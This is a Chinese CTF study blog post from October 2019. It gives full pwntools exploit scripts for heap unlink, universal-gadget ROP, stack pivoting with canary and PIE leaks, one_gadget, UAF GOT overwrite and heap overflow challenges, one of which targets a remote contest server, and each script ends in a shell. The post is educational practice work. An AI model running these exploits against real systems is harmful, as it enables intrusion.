pwn

third week

with pwn

Posted by pic4xiu on October 21, 2019

感觉上周跑得太快了,好多知识没完全消化,这周就总结吧~~~(不是偷懒啊

off by one

这种 off by one 的洞有好多方法,如堆块重叠和 unlink ,这里先记录一下 unlink

from pwn import *
p = process('./pwn')
elf = ELF("./pwn", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False)
#context.log_level = "debug"
def new(ind,size,content):
	p.sendlineafter('4.show\n','1')
	p.sendlineafter('index:\n',str(ind))
	p.sendlineafter('size:\n',str(size))
	p.sendafter('content:\n',content)
def free(ind):
	p.sendlineafter('4.show\n','2')
	p.sendafter('index:\n',str(ind))
def edit(ind,content):
	p.sendlineafter('4.show\n','3')
	p.sendlineafter('index:\n',str(ind))
	p.sendafter('content:\n',content)
new(2,0xf8,"/bin/sh")
new(32,0xf8,"32")
new(31,0xf8,"31")
new(30,0xf8,"30")#unlink spy
pay = p64(0)+p64(0xf1)+p64(0x6021c8)+p64(0x6021c8+8)
pay = pay.ljust(0xf0)
pay+=p64(0xf0)
edit(32,pay)
free(31)#unlink
payload = p64(0x6021c8)*3+p64(elf.got['free'])
payload = payload.ljust(0xf0)
payload+=p64(1)
edit(32,payload)
p.sendlineafter('4.show\n','4')
p.sendlineafter('index','32')
p.recvuntil("\n")
leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = leak - libc.symbols['free']
system = libc.symbols['system'] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base
pay = 'a'*0x18+p64(free_hook)
pay = pay.ljust(0xf0)
pay += p64(1)
edit(30,pay)
edit(32,p64(system))
free(2)
p.interactive()

万能 gadget

from pwn import *
p = process('./pwn')
elf = ELF("./pwn", checksec=False)
libc = elf.libc
#context.log_level = "debug"
p.sendline('aaaabaaacaaadaaa'+p64(0x4004ed))
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x118
pay = "/bin//sh\x00".ljust(0x10,"\x00")
header = 0x040059A
waist = 0x400580
pop_rdi = 0x4005a3
rax_3B = 0x4004e2
syscall = 0x400517
pay+= p64(header)+p64(10)+p64(0)+p64(leak)+p64(0)*3+p64(waist)
pay+=p64(rax_3B)+p64(pop_rdi)+p64(leak)+p64(syscall)
p.sendline(pay)
p.recv()
p.recv()
p.interactive()

这个发现师傅的 wp 写的 0x4004e2 差了一个字节,结果也能用~~~ 什么鬼,中间还出现一个很迷的 bug ,始终不通,最后发现一开始的 ret 我填的 main_addr ,(狗头)

最强 rop

栈迁移是迁移到 buf 内部.

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc(timeout=0):
    if timeout == 0:
        return p.recv()
    else:
        return p.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
    pause()
def msg(msg,addr):
    log.warn(msg+"->"+hex(addr))
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
libc = elf.libc
p = process(bin_elf, aslr=0)
ru("please input your name\n")
sl('aeojj')
ru("do you want to get something???\n")
sd("a"*0x19)

ru("a"*0x18)
canary = u64(p.recv(8))-0x61
stack = u64(p.recv(6).ljust(8,"\x00"))-0x28
msg("canary",canary)
msg("stack",stack)
ru("OK???\n")
sd("b"*8)
ru("I think you can do something now\n")

pay = "c"*0x28+p64(canary)+"a"*8+"\xde\x50"#1/16

sd(pay)

ru("do you want to get something???\n")
sd("x"*8)
ru("OK???\n")
sd("b"*0x29)

ru("a"*8)
piebase = u64(p.recv(6).ljust(8,"\x00"))-0x1440
msg("piebase",piebase)
printf_got=elf.got["printf"]+piebase
printf_plt=elf.plt["printf"]+piebase
read_got=elf.got["read"]+piebase
pop_rdi_ret=piebase+0x14a3
leave_ret=piebase+0x10dc
vul = piebase+0x10de
ru("I think you can do something now\n")
gadget = "a"*0x8+p64(pop_rdi_ret)+p64(read_got)+p64(printf_plt)
pay = gadget+p64(vul)+p64(canary)+p64(stack)+p64(leave_ret)
sd(pay)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.sym["read"]
system = libc.sym["system"]
msg("libc.address",libc.address)
ru("do you want to get something???\n")
sd("d"*0x8)
gdb.attach(p)
ru("OK???\n")
sd("e"*0x8)

ru("I think you can do something now\n")
gadget = "/bin/sh\x00"+p64(pop_rdi_ret)+p64(stack)+p64(system)
pay = gadget+p64(0)+p64(canary)+p64(stack-0x10)+p64(leave_ret)
sd(pay)
p.interactive()

这是我做过最难的 rop 了,必须泄漏四个( canary stack libc pie),太恶心了,不过思路还是很清楚的,我试试优化一下,最后我感觉师傅写错了,但是 exp 却能用,又迷了~~~~ 而且感觉师傅走了好多弯路啊,一般情况不应该跑三遍啊~~

下面说一下我的方法, one_gadget 一步 getshell ,就不用师父的模板了,实在使不顺手,不过师傅的 gdb 函数是真的牛逼~~简单记录一下我的思路(厚颜无耻

在 16.04 测得,很巧,栈上有残留的东西正好泄露出来 libc 基址,之后也用上了第二次输入把 canary 整出来了,理论上 pie 和 stack 都不用泄露了,可是 one_gadget 就是不好用,我想了几个方案不是要泄露 stack 地址就是不满足,什么鬼,只能用师傅的方法

崩溃了,我想了好久我这个 one_gadget 已经很无敌了,而且我动态调的时候很明显成功了,怎么回事?最后发现是根本没 send 出去

from pwn import *
#context.log_level = "debug"
p = process('./babypwn',aslr=0)
elf = ELF("./babypwn", checksec=False)
libc = elf.libc
p.recvuntil('name\n')
p.sendline('aeojj')
p.recvuntil('???\n')
p.send('a'*8)
p.recvuntil('a'*8)
libc = u64(p.recv(6).ljust(8,"\x00"))-458676
print hex(libc)
p.recvuntil('???\n')
p.send('b'*0x19)
p.recvuntil('b'*0x18)
canary = u64(p.recv(8))-0x62
print hex(canary)
p.recvuntil("I think you can do something now\n")
one = libc+0x4526a
pay = "c"*0x28+p64(canary)+"a"*8+p64(one)
p.send(pay)
p.interactive()

成功了,真的爽,感觉是一个非预期解(18.04失败了,栈很干净,23333),开心~~~ 在这里想到一个好方法,就是打一个 patch ,然后去打,如果 patch 过的文件还是过不了检测就该想想是哪的问题了~~

noleakinfo

from pwn import *
r = process('./noinfoleak')
elf = ELF('noinfoleak', checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"

def add(size, data):
    r.sendlineafter('>', '1')
    r.sendlineafter('>', str(size))
    r.sendlineafter('>', data)
def delete(index):
    r.sendlineafter('>', '2')
    r.sendlineafter('>', str(index))
def edit(index, data):
    r.sendlineafter('>', '3')
    r.sendlineafter('>', str(index))
    r.sendafter('>', data)

add(0x30, '/bin/sh')
add(0x20, 'AAA')
add(0x20, 'BBB')
delete(1)
delete(2)
delete(1)
arrAddr = 0x06010A0
freeGotAddr = elf.got['free']
putsPltAddr = elf.plt['puts']
putsGotAddr = elf.got['puts']
add(0x20, p64(arrAddr))
add(0x20, 'second')
add(0x20, 'first')
# new chunk will allocate in arrAddr
# save new chunk data's addr in arrAddr[6 * 2]
# overwrite arrAddr[1]'s content to free@got
add(0x20, p64(freeGotAddr))
# overwrite free@got to puts@plt
edit(1, p64(putsPltAddr))
# overwrite arrAddr[1]'s content to puts@got
edit(6, p64(putsGotAddr))
# trigger free()(puts@plt) to leak putsAddr
delete(1)
LeakStr = r.recvuntil('\n', drop=True)
libcBaseAddr = u64(LeakStr.ljust(8, '\x00')) - libc.symbols['puts']
systemAddr = libcBaseAddr + libc.symbols['system']
print('libc base address: 0x%x' % libcBaseAddr)
print('systemAdd address: 0x%x' % systemAddr)
# overwrite arrAddr[1] to free@got
edit(6, p64(freeGotAddr))
# overwrite free@got to system
edit(1, p64(systemAddr))
delete(0)
r.interactive()

西湖论剑的题,我觉得 wp 太妙了,我们深入分析一下,觉得这个 wp 是件艺术品

首先漏洞来自

  if ( v0 >= 0 && v0 <= 15 )
    free(qword_6010A0[2 * v0]);    

这个 UAF 很爽,有这个洞基本完蛋了这个程序,但是没有 leak 函数,需要自己想方法去 leak ,这里师傅就想到了改 got ,说实话,如果是我的话,我就不敢了,因为感觉副作用太大,直接修改 free 和 malloc 有点虎,但是师傅艺高人胆大,直接利用这个通杀了, 6666666

基本 wp 分 3 步

  • 7 步杀人, malloc 到 bss 段,控制指针
  • 修改 free_got 为 puts_got
  • 修改 free_got 为 system 进而触发

其实这个 got plt 还卡了我很久,现在写一下心得(早就忘了延迟绑定了,还得再学一遍),首先未调用函数前got -> plt -> 指令,调用函数后got -> so 真正位置差不多是这样的,之前都理解的有点偏差

所以本次 wp 的两次修改,首先第一次

add(0x20, p64(freeGotAddr))#1
edit(1, p64(putsPltAddr))
edit(6, p64(putsGotAddr))
delete(1)

就是先把 1 指向的 free_got 改为 puts_plt ,听上去不可思议,事实上确实如此,因为 free 函数早已调用,上边写的就是 so 的偏移,之后把 1 的指向修改为 put_got ,这就是调用后的了, so 真正位置就出来了,太鸡儿妙了~~~

第二次

edit(6, p64(freeGotAddr))
edit(1, p64(systemAddr))
delete(0)

就是把 free_got 改成 system_so_addr 了,理所应当

babyheap

unctf 栈溢出

from pwn import *
#p = process('./pwn')
p = remote('101.71.29.5',10052)
elf = ELF("./pwn", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False)
#context.log_level = "debug"
def new(content):
	p.sendlineafter('Your choice: ','1')
	p.sendafter('Plz input content: ',content)
def edit(ind,size,content):
	p.sendlineafter('Your choice: ','2')
	p.sendlineafter('Plz input index: ',str(ind))
	p.sendlineafter('Plz input size: ',str(size))
	p.sendafter('Plz input content: ',content)
def show(ind):
	p.sendlineafter('Your choice: ','3')
	p.sendlineafter('Plz input index: ',str(ind))
new('a'*1)
edit(0,24,'a'*24)
show(0)
p.recvuntil('a'*24)
leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = leak - 456336
system = libc.symbols['system'] + libc_base
payload = '/bin/sh\x00'.ljust(0x18)+p64(system)
edit(0,0x20,payload)
show(0)
p.interactive()

做着题傻了,一看这么简单,就是一个数据结构瞎放东西,还有溢出。然后我竟然想着到 malloc_hook 和 free_hook 地方,什么鬼,发现一个堆块解决所有问题~~ 做题还是太直,难受